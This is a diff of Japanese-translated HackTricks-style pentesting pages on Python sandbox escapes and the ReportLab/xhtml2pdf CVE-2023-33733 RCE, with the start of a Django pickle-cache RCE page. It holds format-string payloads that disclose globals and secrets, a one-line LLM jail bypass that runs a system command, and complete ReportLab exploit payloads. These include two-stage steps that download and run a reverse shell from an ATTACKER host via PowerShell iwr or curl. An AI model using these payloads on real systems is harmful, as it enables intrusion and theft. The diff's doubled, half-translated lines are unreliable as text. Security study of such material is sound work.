||||
## Builtins、Globals の再帰的検索...
|
||||
|
||||
> [!WARNING]
|
||||
> これは本当に**素晴らしい**です。もしあなたが **globals, builtins, open のようなオブジェクトを探している**なら、このスクリプトを使って**そのオブジェクトを見つけられる場所を再帰的に検索してください。**
|
||||
> これは本当に**素晴らしい**です。もし**globals、builtins、open のようなオブジェクトを探している**なら、このスクリプトを使ってそのオブジェクトが見つかる場所を**再帰的に検索**してください。
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -677,7 +662,7 @@ print(SEARCH_FOR)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
このスクリプトの出力は次のページで確認できます:
|
||||
You can check the output of this script on this page:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -686,7 +671,9 @@ https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-
|
||||
|
||||
## Python Format String
|
||||
|
||||
もし**send**する**string**をpythonに渡してそれが**formatted**される場合、`{}`を使って**python internal information.**にアクセスできます。前の例を使えば、例えばglobalsやbuiltinsにアクセスできます。
|
||||
このスクリプトの出力は以下のページで確認できます:
|
||||
|
||||
もし **文字列** を python に **送信** してフォーマットされる場合、`{}` を使って **python の内部情報** にアクセスできます。例えば、前の例を使って globals や builtins にアクセスできます。
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
CONFIG = {
|
||||
@ -706,16 +693,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Note how you can **属性にアクセス** in a normal way with a **ドット** like `people_obj.__init__` and **dict要素** with **括弧** without quotes `__globals__[CONFIG]`
|
||||
通常、**access attributes** は **dot** によってアクセスできることに注意してください(例: `people_obj.__init__`)。また、**dict element** は **parenthesis** を使って引用符なしでアクセスできます: `__globals__[CONFIG]`
|
||||
|
||||
Also note that you can use `.__dict__` to enumerate elements of an object `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
また、`.__dict__` を使ってオブジェクトの要素を列挙できることに注意してください: `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||
|
||||
Some other interesting characteristics from format strings is the possibility of **実行** the **関数** **`str`**, **`repr`** and **`ascii`** in the indicated object by adding **`!s`**, **`!r`**, **`!a`** respectively:
|
||||
format strings の他の興味深い特徴として、指定したオブジェクトに対して `str`、`repr`、`ascii` 関数をそれぞれ `!s`、`!r`、`!a` を付けることで実行できる点があります:
|
||||
```python
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
さらに、クラス内で **code new formatters** を記述することも可能です:
|
||||
さらに、クラス内で **code new formatters** を実装することも可能です:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -726,17 +713,17 @@ return 'HAL 9000'
|
||||
'{:open-the-pod-bay-doors}'.format(HAL9000())
|
||||
#I'm afraid I can't do that.
|
||||
```
|
||||
**さらに多くの例**(**format** **string** の例)は [**https://pyformat.info/**](https://pyformat.info) で確認できます
|
||||
**さらに多くの例**:**format** **string**の例は[**https://pyformat.info/**](https://pyformat.info)で見つけることができます
|
||||
|
||||
> [!CAUTION]
|
||||
> 以下のページも確認してください。r**Python内部オブジェクトから機密情報を読み取る** gadgets:
|
||||
> 以下のページも、r**ead sensitive information from Python internal objects**を行うgadgetsについて確認してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
{{#endref}}
|
||||
|
||||
### 機密情報開示ペイロード
|
||||
### 機密情報の開示 Payloads
|
||||
```python
|
||||
{whoami.__class__.__dict__}
|
||||
{whoami.__globals__[os].__dict__}
|
||||
@ -754,20 +741,20 @@ str(x) # Out: clueless
|
||||
```
|
||||
### LLM Jails bypass
|
||||
|
||||
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
参照 [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
|
||||
|
||||
### From format to RCE loading libraries
|
||||
### format を利用したライブラリ読み込みによる RCE
|
||||
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
リマインダーとして、pythonで何か操作が行われるたびに、ある関数が実行されます。例えば `2*3` は **`(2).mul(3)`** を実行し、`{'a':'b'}['a']` は **`{'a':'b'}.__getitem__('a')`** を実行します。
|
||||
念のため補足すると、python で何かアクションが実行されるたびにある関数が呼ばれます。例えば `2*3` は **`(2).mul(3)`** を実行しますし、**`{'a':'b'}['a']`** は **`{'a':'b'}.__getitem__('a')`** を実行します。
|
||||
|
||||
このような例はセクション [**Python execution without calls**](#python-execution-without-calls) にもっとあります。
|
||||
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
|
||||
|
||||
pythonでそのようなgadgetを探すために、writeupはこの [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code) を提案しています。そこで彼が見つけたのがこれ [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -789,20 +776,20 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
このガジェットはディスクから**ライブラリをロードする**ことを可能にします。したがって、攻撃対象のサーバにロードするライブラリを正しくコンパイルした状態で何らかの方法で**書き込むまたはアップロードする**必要があります。
|
||||
この gadget は**ディスクからライブラリをロードする**ことを可能にします。したがって、正しくコンパイルされたライブラリを攻撃対象のサーバに何らかの方法で**書き込むかアップロードする**必要があります。
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
The challenge actually abuses another vulnerability in the server that allows to create arbitrary files in the servers disk.
|
||||
このチャレンジは実際に、サーバのディスク上に任意のファイルを作成できる別の脆弱性を悪用しています。
|
||||
|
||||
## Python オブジェクトの解析
|
||||
## Pythonオブジェクトの解析
|
||||
|
||||
> [!TIP]
|
||||
> もし**python bytecode**を深く**学びたい**なら、このトピックに関する素晴らしい記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
> もし **python bytecode** を詳しく **学びたい** のなら、このトピックに関するこの **素晴らしい** 記事を読んでください: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||
|
||||
いくつかのCTFでは、**custom function where the flag** の名前が与えられ、その**function**の**internals**を確認して抽出する必要があります。
|
||||
いくつかの CTF では、**custom function where the flag** の名前が与えられることがあり、取り出すためにその **internals** の **function** を確認する必要があります。
|
||||
|
||||
これが調査対象のfunctionです:
|
||||
検査する関数は次のとおりです:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -813,16 +800,16 @@ return "THIS-IS-THE-FALG!"
|
||||
else:
|
||||
return "Nope"
|
||||
```
|
||||
#### ディレクトリ
|
||||
#### dir
|
||||
```python
|
||||
dir() #General dir() to find what we have loaded
|
||||
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
|
||||
dir(get_flag) #Get info tof the function
|
||||
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
|
||||
```
|
||||
#### グローバル
|
||||
#### globals
|
||||
|
||||
`__globals__` and `func_globals`(同じ) はグローバル環境を取得します。例では、いくつかのインポートされたモジュール、いくつかのグローバル変数とそれらの内容が宣言されているのが確認できます:
|
||||
`__globals__` and `func_globals`(同じ)はグローバル環境を取得します。例では、いくつかのインポートされたモジュールやいくつかのグローバル変数とその内容が宣言されているのが見られます:
|
||||
```python
|
||||
get_flag.func_globals
|
||||
get_flag.__globals__
|
||||
@ -835,7 +822,7 @@ CustomClassObject.__class__.__init__.__globals__
|
||||
|
||||
### **関数コードへのアクセス**
|
||||
|
||||
**`__code__`** と `func_code`: この関数の**属性**に**アクセス**することで、関数の**コードオブジェクト**を**取得**できます。
|
||||
**`__code__`** と `func_code`: この関数のこの**属性**に**アクセス**することで、関数の**コードオブジェクトを取得**できます。
|
||||
```python
|
||||
# In our current example
|
||||
get_flag.__code__
|
||||
@ -923,7 +910,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
注意: **python sandbox 内で `dis` を import できない場合**、関数の **バイトコード**(`get_flag.func_code.co_code`)を取得してローカルで **逆アセンブル** できます。ロードされる変数の内容は(`LOAD_CONST`)では見えませんが、`LOAD_CONST` がロードされる変数のオフセットも示すため、(`get_flag.func_code.co_consts`)から推測できます。
|
||||
注意: **python sandbox 上で `dis` を import できない場合**、関数の **bytecode** (`get_flag.func_code.co_code`) を取得してローカルで **disassemble** できます。`LOAD_CONST` で読み込まれている変数の内容は表示されませんが、`get_flag.func_code.co_consts` から推測できます。`LOAD_CONST` は読み込まれる変数のオフセットも示します。
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -947,8 +934,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Pythonのコンパイル
|
||||
|
||||
さて、何らかの方法で実行できない関数の情報を**dump**できるが、その関数を**実行する**必要があると想像してみてください。\
|
||||
次の例のように、その関数の**code object**に**アクセスできる**場合でも、disassembleを読むだけでは**flagを計算する方法がわからない**(より複雑な`calc_flag`関数を想像してください)
|
||||
ここで、何らかの方法で**実行できない関数の情報をダンプできる**が、あなたはそれを**実行する**ことが**必要**だ。\
|
||||
次の例のように、その関数の**code objectにアクセスできる**が、disassembleを読むだけでは**フラグの計算方法がわからない** (_より複雑な`calc_flag`関数を想像してみてください_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -963,7 +950,7 @@ return "Nope"
|
||||
```
|
||||
### code object の作成
|
||||
|
||||
まず第一に、**code object をどのように作成して実行するか**を知る必要があります。そうすれば、私たちの function leaked を実行するための code object を作成できます:
|
||||
まず、**how to create and execute a code object** を知る必要があります。そうすれば、our function leaked を実行するための code object を作成できます:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
@ -983,7 +970,7 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
```
|
||||
> [!TIP]
|
||||
> 実行している python のバージョンによっては、`code_type` の **パラメータ** の順序が **異なる** ことがあります。使用中の python バージョンでのパラメータの順序を確認する最も良い方法は、次を実行することです:
|
||||
> python のバージョンによっては `code_type` の **パラメータ** の **順序が異なる** ことがあります。現在実行している python バージョンでのパラメータの順序を確認する最良の方法は、次を実行することです:
|
||||
>
|
||||
> ```
|
||||
> import types
|
||||
@ -994,7 +981,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
### leaked 関数の再作成
|
||||
|
||||
> [!WARNING]
|
||||
> 以下の例では、function code object から直接関数を再作成するために必要なすべてのデータを取得します。**実際の例**では、関数 **`code_type`** を実行するためのすべての **値** は、**あなたが leak する必要があるものです**。
|
||||
> 以下の例では、関数の code object から関数を再作成するために必要なすべてのデータを直接取得します。**実際の例**では、関数を実行するためのすべての**値**(`code_type`)が、**あなたが leak する必要がある**ものです。
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -1005,12 +992,13 @@ mydict['__builtins__'] = __builtins__
|
||||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
#ThisIsTheFlag
|
||||
```
|
||||
### Bypass Defenses
|
||||
### 防御を回避
|
||||
|
||||
この記事の冒頭の例では、**`compile` 関数を使って任意の python コードを実行する方法**が示されています。これは、ループなどを含むスクリプト全体を**ワンライナーで実行できる**ため興味深いです(そして同じことは**`exec`**を使ってもできます)。\
|
||||
いずれにせよ、ローカルマシンで**作成**した**compiled object**を**CTF machine**上で実行することが有用な場合があります(例えば、CTFに`compiled`関数がない場合など)。
|
||||
この記事の冒頭にある以前の例では、**`compile`関数を使用して任意のpythonコードを実行する方法**が示されています。
|
||||
これは、ループなどを含む**スクリプト全体を実行**し、かつ**ワンライナー**で記述できるため興味深いです(**`exec`**を使って同じことも可能です)。\
|
||||
とはいえ、ローカルマシンで**作成**した**コンパイル済みオブジェクト**を**CTF machine**上で実行することが有用な場合があります(例えばCTFに`compiled`関数がない場合など)。
|
||||
|
||||
例えば、_./poc.py_ を読み込む関数を手動でコンパイルして実行してみましょう:
|
||||
例えば、_./poc.py_を読み込む関数を手動でコンパイルして実行してみましょう:
|
||||
```python
|
||||
#Locally
|
||||
def read():
|
||||
@ -1037,7 +1025,7 @@ mydict['__builtins__'] = __builtins__
|
||||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||||
function_type(codeobj, mydict, None, None, None)()
|
||||
```
|
||||
もし `eval` や `exec` にアクセスできない場合、**適切な関数**を作成することはできますが、直接呼び出すと通常次のように失敗します: _コンストラクタは制限モードでアクセスできません_. **この関数を呼び出すために制限された環境外にある関数が必要です。**
|
||||
もし `eval` や `exec` にアクセスできない場合、**適切な関数** を作成することはできますが、それを直接呼び出すと通常は次のように失敗します: _constructor not accessible in restricted mode_。したがって、この関数を呼び出すために、**制限された環境外にある関数** が必要です。
|
||||
```python
|
||||
#Compile a regular print
|
||||
ftype = type(lambda: None)
|
||||
@ -1045,9 +1033,9 @@ ctype = type((lambda: None).func_code)
|
||||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||||
f(42)
|
||||
```
|
||||
## コンパイル済み Python の逆コンパイル
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
|
||||
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled Python code.
|
||||
|
||||
**このチュートリアルを確認してください**:
|
||||
|
||||
@ -1060,7 +1048,7 @@ Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) o
|
||||
|
||||
### Assert
|
||||
|
||||
Python を `-O` パラメータで最適化実行すると、assert 文および **debug** の値に依存するコードは削除されます.\
|
||||
`-O` パラメータで最適化された Python を実行すると、asset statements および **debug** の値に依存するコードは削除されます。\
|
||||
したがって、次のようなチェックは
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
@ -1072,7 +1060,7 @@ print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
バイパスされます
|
||||
|
||||
## 参考資料
|
||||
## 参考文献
|
||||
|
||||
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||||
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||||
|
@ -1,75 +1,74 @@
|
||||
# ReportLab/xhtml2pdf [[[...]]] expression-evaluation RCE (CVE-2023-33733)
|
||||
# ReportLab/xhtml2pdf [[[...]]] 式評価 RCE (CVE-2023-33733)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
このページは、ReportLab の rl_safe_eval(xhtml2pdf や他の PDF 生成パイプラインで、ユーザー制御の HTML を PDF にレンダリングする際に使用される)における実用的なサンドボックス脱出と RCE プリミティブを記録します。
|
||||
このページは、ReportLab の rl_safe_eval(xhtml2pdf やその他の PDF 生成パイプラインでユーザー制御の HTML を PDF にレンダリングする際に使用)に存在する実用的なサンドボックス脱出および RCE プリミティブについてまとめたものです。
|
||||
|
||||
CVE-2023-33733 は ReportLab の 3.6.12 までのバージョンに影響します。特定の属性コンテキスト(例えば color)では、三重角括弧 [[[ ... ]]] で囲まれた値がサーバー側で rl_safe_eval によって評価されます。ホワイトリスト化された組み込み関数 (pow) からその関数の __globals__ にピボットするペイロードを作成することで、攻撃者は os モジュールに到達してコマンドを実行できます。
|
||||
CVE-2023-33733 は ReportLab のバージョン 3.6.12 まで(含む)に影響します。特定の属性コンテキスト(例: color)では、triple brackets [[[ ... ]]] で囲まれた値が rl_safe_eval によりサーバー側で評価されます。ホワイトリスト化された組み込み関数(pow など)からその関数の __globals__ にピボットするペイロードを作成することで、攻撃者は os モジュールに到達してコマンドを実行できます。
|
||||
|
||||
Key points
|
||||
- トリガー: ReportLab/xhtml2pdf が解析するマークアップ内の <font color="..."> のような評価される属性に [[[ ... ]]] を注入する。
|
||||
- サンドボックス: rl_safe_eval は危険な組み込みを置換するが、評価された関数は依然として __globals__ を公開する。
|
||||
- バイパス: 一時的なクラス Word を作成して rl_safe_eval の名前チェックを回避し、ブロックされた dunder フィルタを避けつつ文字列 "__globals__" にアクセスする。
|
||||
- Trigger: ReportLab/xhtml2pdf によって解析されるマークアップ内の <font color="..."> 等の評価される属性に [[[ ... ]]] を注入する。
|
||||
- Sandbox: rl_safe_eval は危険な組み込みを置換するが、評価された関数は依然として __globals__ を公開している。
|
||||
- Bypass: rl_safe_eval の名前チェックを回避し、ブロックされた dunder フィルタリングを避けつつ文字列 "__globals__" にアクセスするための一時的なクラス Word を作成する。
|
||||
- RCE: getattr(pow, Word("__globals__"))["os"].system("<cmd>")
|
||||
- 安定性: 実行後に属性に有効な値を返す(color の場合は 'red' を使用)。
|
||||
- Stability: 実行後に属性が有効な値を返すようにする(color の場合は and 'red' を使うなど)。
|
||||
|
||||
When to test
|
||||
- HTML→PDF エクスポートを提供するアプリケーション(プロフィール、請求書、レポート)で、PDF メタデータや HTTP レスポンスのコメントに xhtml2pdf/ReportLab が表示される場合にテストする。
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
|
||||
- PDF に対する HTTP レスポンスはしばしば ReportLab の generator コメントで始まる。
|
||||
- HTML を PDF にエクスポートできるアプリケーション(プロフィール、請求書、レポート等)で、PDF メタデータや HTTP レスポンスのコメントに xhtml2pdf/ReportLab が表示される場合。
|
||||
- exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" が Producer に表示される
|
||||
- PDF の HTTP レスポンスはしばしば ReportLab の generator コメントで始まる
|
||||
|
||||
How the sandbox bypass works
|
||||
- rl_safe_eval は多くの組み込み(getattr, type, pow, ...)を削除または置換し、属性名が __ で始まるものや denylist にあるものを拒否する名前フィルタを適用する。
|
||||
- しかし、安全な関数は func.__globals__ でアクセスできる globals 辞書内に存在する。
|
||||
- type(type(1)) を使って実際の組み込み type 関数を復元(ReportLab のラッパーを回避)し、次のような比較挙動を変更した str 由来の Word クラスを定義する:
|
||||
- .startswith('__') → 常に False(startswith('__') チェックを回避)
|
||||
- .__eq__ は最初の比較時のみ False を返し(denylist のメンバーシップチェックを回避)、その後は True を返す(Python の getattr が動作するようにする)
|
||||
- .__hash__ は hash(str(self)) と等しい
|
||||
- これにより getattr(pow, Word('__globals__')) はラップされた pow 関数の globals dict を返し、そこにインポートされた os モジュールが含まれている。その後: ['os'].system('<cmd>')。
|
||||
- rl_safe_eval は多くの組み込み(getattr, type, pow, ...)を削除または置換し、名前が __ で始まるものや拒否リストに載る属性を拒否する名前フィルタを適用する。
|
||||
- しかし、safe な関数は func.__globals__ のようなグローバル辞書に格納されている。
|
||||
- type(type(1)) を使って実際の組み込み type 関数を回復し(ReportLab のラッパーを回避)、比較挙動を変えた str 継承の Word クラスを定義することで次を実現する:
|
||||
- .startswith('__') → 常に False(名前 startswith('__') チェックを回避)
|
||||
- .__eq__ は最初の比較のみ False を返し(denylist メンバーチェックを回避)、その後は True を返す(Python の getattr が動作するように)
|
||||
- .__hash__ が hash(str(self)) と等しい
|
||||
- これにより getattr(pow, Word('__globals__')) はラップされた pow 関数の globals 辞書を返し、その中に読み込まれた os モジュールが含まれる。あとは ['os'].system('<cmd>')。
|
||||
|
||||
Minimal exploitation pattern (attribute example)
|
||||
ペイロードを評価される属性の内部に置き、boolean と 'red' を使って属性として有効な値を返すようにする。
|
||||
評価される属性の内部にペイロードを置き、boolean と 'red' を使って属性が有効な値を返すようにする。
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('ping 10.10.10.10') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
|
||||
exploit
|
||||
</font></para>
|
||||
|
||||
- リスト内包表現の形は、rl_safe_eval が受け入れる単一式を可能にする。
|
||||
- 後続の and 'red' は有効な CSS カラーを返すので、レンダリングが壊れない。
|
||||
- コマンドは必要に応じて置き換える。実行確認には tcpdump と ping を使う。
|
||||
- リスト内包表現の形式にすることで、rl_safe_eval が受け入れる単一式に収めている。
|
||||
- 最後の and 'red' により有効な CSS color を返すため、レンダリングが壊れない。
|
||||
- コマンドは必要に応じて置き換える。実行確認には tcpdump と ping を併用する。
|
||||
|
||||
Operational workflow
|
||||
1) Identify PDF generator
|
||||
- PDF Producer が xhtml2pdf を示す; HTTP レスポンスに ReportLab コメントが含まれる場合がある。
|
||||
2) Find an input reflected into the PDF (e.g., profile bio/description) and trigger an export.
|
||||
- PDF に反映される入力を見つけ(例: プロフィールの bio/description)、エクスポートをトリガーする。
|
||||
3) Verify execution with low-noise ICMP
|
||||
- Run: sudo tcpdump -ni <iface> icmp
|
||||
- Payload: ... system('ping <your_ip>') ...
|
||||
- Windows はデフォルトで正確に 4 回の echo request を送ることが多い。
|
||||
4) Establish a shell
|
||||
- For Windows, a reliable two-stage approach avoids quoting/encoding issues:
|
||||
- Stage 1 (download):
|
||||
1) PDF ジェネレータを特定する
|
||||
- PDF Producer が xhtml2pdf を示す; HTTP レスポンスに ReportLab コメントが含まれる。
|
||||
2) PDF に反映される入力箇所を見つける(例: profile bio/description)とエクスポートをトリガーする。
|
||||
3) 低ノイズな ICMP で実行を検証する
|
||||
- 実行例: sudo tcpdump -ni <iface> icmp
|
||||
- ペイロード例: ... system('ping <your_ip>') ...
|
||||
- Windows は既定で正確に 4 回の echo request を送ることが多い。
|
||||
4) シェルの確立
|
||||
- Windows 向けには、クォート/エンコーディング問題を避けるため信頼できる 2 ステージ手法が有効:
|
||||
- Stage 1 (ダウンロード):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell -c iwr http://ATTACKER/rev.ps1 -o rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Stage 2 (execute):
|
||||
- Stage 2 (実行):
|
||||
|
||||
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell ./rev.ps1') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">exploit</font></para>
|
||||
|
||||
- Linux ターゲット向けには、curl/wget を使った同様の二段階が可能:
|
||||
- Linux ターゲット向けには curl/wget を使った類似の 2 ステージも可能:
|
||||
- system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')
|
||||
|
||||
Notes and tips
|
||||
- Attribute contexts: color は評価される属性として知られている。ReportLab のマークアップ内の他の属性も式を評価する可能性がある。ある場所がサニタイズされている場合は、PDF にレンダリングされる他の場所(別のフィールド、テーブルスタイル等)を試す。
|
||||
- Quoting: コマンドはコンパクトに保つこと。二段階ダウンロードはクォートやエスケープの問題を大幅に減らす。
|
||||
- Reliability: エクスポートがキャッシュまたはキュー処理される場合、ペイロードをわずかに変える(例: ランダムなパスやクエリ)ことでキャッシュヒットを避ける。
|
||||
- 属性コンテキスト: color は評価される既知の属性。ReportLab マークアップの他の属性も式を評価する可能性がある。ある箇所がサニタイズされている場合は、PDF フローにレンダリングされる他の場所(異なるフィールド、テーブルのスタイル等)を試す。
|
||||
- クォーティング: コマンドはできるだけ簡潔に。2 ステージのダウンロードはクォートやエスケープの問題を大幅に減らす。
|
||||
- 信頼性: エクスポートがキャッシュ或いはキュー化されている場合、キャッシュ回避のためにペイロードを少し変える(ランダムなパスやクエリを追加)こと。
|
||||
|
||||
Mitigations and detection
|
||||
- ReportLab を 3.6.13 以降にアップグレードする(CVE-2023-33733 は修正済み)。ディストロのパッケージに関するセキュリティアドバイザリも追跡すること。
|
||||
- ユーザー制御の HTML/マークアップを xhtml2pdf/ReportLab に直接渡さないこと。厳格なサニタイズを行うか、信頼できない入力に対しては [[[...]]] 評価構文やベンダー固有タグを削除/拒否する。
|
||||
- ReportLab を 3.6.13 以降にアップグレードする(CVE-2023-33733 は修正済み)。ディストリビューションのパッケージセキュリティアドバイザリも追跡すること。
|
||||
- ユーザー制御の HTML/マークアップを xhtml2pdf/ReportLab に直接渡さない。信頼できない入力に対しては厳格なサニタイズを行い、[[[...]]] の評価構文やベンダー固有タグを削除/拒否する。
|
||||
- 信頼できない入力に対しては rl_safe_eval の使用を無効化するかラップすることを検討する。
|
||||
- PDF 生成中の疑わしい外向きコネクション(例: エクスポート時のアプリサーバーからの ICMP/HTTP)を監視する。
|
||||
- PDF 生成時の疑わしいアウトバウンド接続(アプリサーバーからの ICMP/HTTP 等)を監視する。
|
||||
|
||||
References
|
||||
- PoC and technical analysis: [c53elyas/CVE-2023-33733](https://github.com/c53elyas/CVE-2023-33733)
|
||||
|
@ -2,43 +2,43 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Djangoのデフォルトのキャッシュ保存方法は [Python pickles](https://docs.python.org/3/library/pickle.html) で、[untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) とRCEを招く可能性があります。**攻撃者がキャッシュへの書き込み権を取得できれば、この脆弱性を基礎サーバ上でのRCEにエスカレートできます。**
|
||||
## キャッシュ操作によるRCE
|
||||
Djangoのデフォルトのキャッシュ保存方法は [Python pickles](https://docs.python.org/3/library/pickle.html) で、[untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) とRCEにつながる可能性があります。**攻撃者がキャッシュへの書き込み権を得られれば、この脆弱性を基盤サーバ上でのRCEにエスカレートできます。**
|
||||
|
||||
